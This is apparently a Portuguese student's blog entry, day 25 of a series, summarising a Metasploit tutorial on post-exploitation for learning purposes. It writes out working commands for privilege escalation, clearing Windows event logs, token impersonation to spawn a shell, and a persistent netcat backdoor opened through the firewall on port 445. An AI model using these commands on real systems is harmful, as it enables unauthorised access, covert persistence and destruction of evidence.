DIA#25-Ethical Hacking Tools (Metasploit- O que fazer depois do exploit part1)
Continuo hoje no tutorial da Offensive Security, passando desta vez, tal como o titulo menciona, para o que fazer depois do exploit.
Depois de entrar num sistema quer-se ganhar ainda mais acesso à network interna do target através de pivoting e sempre a esconder os rastos. Outras opções são usar sniffers para obter mais informação/acesso ou criar um backdoor para manter acesso ao sistema.
Depois de entrar num sistema quer-se ganhar ainda mais acesso à network interna do target através de pivoting e sempre a esconder os rastos. Outras opções são usar sniffers para obter mais informação/acesso ou criar um backdoor para manter acesso ao sistema.
Ganhar Privilégios
Para ganhar privilégios existe no Metasploit um script do Meterpreter que se chama "getsystem" que se usa para tentar ganhar privilégios a nível do sistema, caso este script não funcione pode-se tentar procurar outros módulos do Metasploit disponíveis com o uso de "use exploit/windows/local/".
Enquanto se está na máquina do target, normalmente não se quer as actividades registadas, pelo que é muitas vezes necessário apagar os event logs do windows. Para isso pode-se utilizar o "winenum", localizado em "scripts/meterpreter", entrando no módulo "warftpd_165_user", que inicia uma sessão Meterpreter e depois usa-se "irb", de seguida "log = client.sys.eventlog.open('system')" e finalmente "log.clear" ou pode-se fazer um script que, depois de criado, se coloca em "/usr/share/metasploit-framework/scripts/meterpreter/" e corre-se usando "exploit" e "run clearlogs".
Incognito
Incognito foi originalmente uma aplicação que permitia imitar user tokens quando estava a correr bem no sistema comprometido.
Tokens
Tokens são essencialmente como os cookies dos websites, ou seja, são uma chave temporária que permite aceder ao sistema e à sua network sem ter que fornecer credenciais sempre que se acede a um ficheiro.
Existem dois tipos de tokens:
- Os que delegam: estes tokens são criados para logons "interativos", como fazer login numa máquina ou conectar-se através do Remote Desktop;
- Os que imitam: estes tokens são criados para sessões "não-interativos", como associar um network driver ou um logon script.
Um exemplo do uso de tokens é através de "use exploit/windows/smb/ms08_067_netapi", com um payload "set PAYLOAD windows/meterpreter/reverse_tcp", neste modulo é importante colocar o "TARGET" uma vez que nem sempre se detecta bem o target (para ver que targets se podem escolher no módulo usa-se "show targets"). Na sessão do meterpreter anteriormente criada usa-se "use incognito", a partir de onde se usa "list_tokens -u" para se ver que tokens validos tem o sistema, seguido de "impersonate_token SNEAKS.IN\\Administrator" em que "SNEAKS.IN\\Administrator"() é um dos tokens presentes na lista anterior (usam-se dois "\\" porque causa bugs de outra maneira), pode-se também usar "getuid" para ver o userID seleccionado correntemente, finalmente para se correr uma shell usa-se "execute -f cmd.exe -i -t", com "-i" a permitir interagir com o PC da vitima e "-t" para assumir a função que fizemos imitar através do incognito.
Interacção com o Registo
O registo do windows é algo onde muito facilmente se torna um sistema inutilizável, por essa mesma razão é necessário ter cuidado enquanto se trabalha no registo.
No Meterpreter existem algumas funções úteis para interagir com o registo, entre as quais o comando "reg" que permite ler, escrever, criar e apagar entradas de registos remotas.
Através da analise do registo pode-se saber os ficheiros usados, websites visitados, programas e USBs usados,etc.
Para facilitar a pesquisa dos registos tem-se em "https://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf" um documento onde se encontram alguns dos registos e a sua informação como a sua localização.
Presistent Netcat Backdoor
Para instalar um Netcat Backdoor usa-se "upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32" no Meterpreter para fazer upload do netcat para o sistema remoto, seguido por "reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run" para mostrar as subkeys da path, "reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe'", para colocar os valores da registry key fornecida (por exemplo: mete-se o registo a "ouvir" no port 445) e "reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc" para colocar os valores de query (pedido de data ou informação de uma base de dados) para a registry key.
Seguidamente é necessário alterar o sistema de modo a permitir conexões remotas passarem pela firewall, para isso primeiramente vai-se abrir no meterpreter um cmd interactivo com "execute -f cmd -i" a partir daí vai-se usar a ferramenta "netsh", que se usa uma vez que é menos propensa a erros, relativamente a alterar directamente o registo.Começa-se com "netsh firewall show opmode" para mostrar a configuração da firewall, passando por "netsh firewall add portopening TCP 445 "Service Firewall" ENABLE ALL" para abrir o port 4454 na firewall e "netsh firewall show portopening" para verificar se o port 445 ficou aberto. Com tudo isto feito faz-se reboot ao sistema e testa-se a shell Netcat com "nc -v 172.16.104.128 445".
PS.
- Durante a analise do tutorial descobri alguns conceitos úteis, a meu ver, entre os quais:
- NTLM (NT LAN Manager) é um conjunto de protocolos de segurança da Microsoft que fornece autenticação, integridade e confidencialidade aos utilizadores;
- GPO (Group Policy Object) é uma colecção de settings de politicas.
- Mais uma vez devido a estar desactualizado não coloquei um exemplo relativo ao uso de psexec passthe hash que se encontra em "https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/".
- Enquanto Admin, não se tem acesso a todos os tokens, como System podem-se ver e usar todos os tokens.
Comentários
Enviar um comentário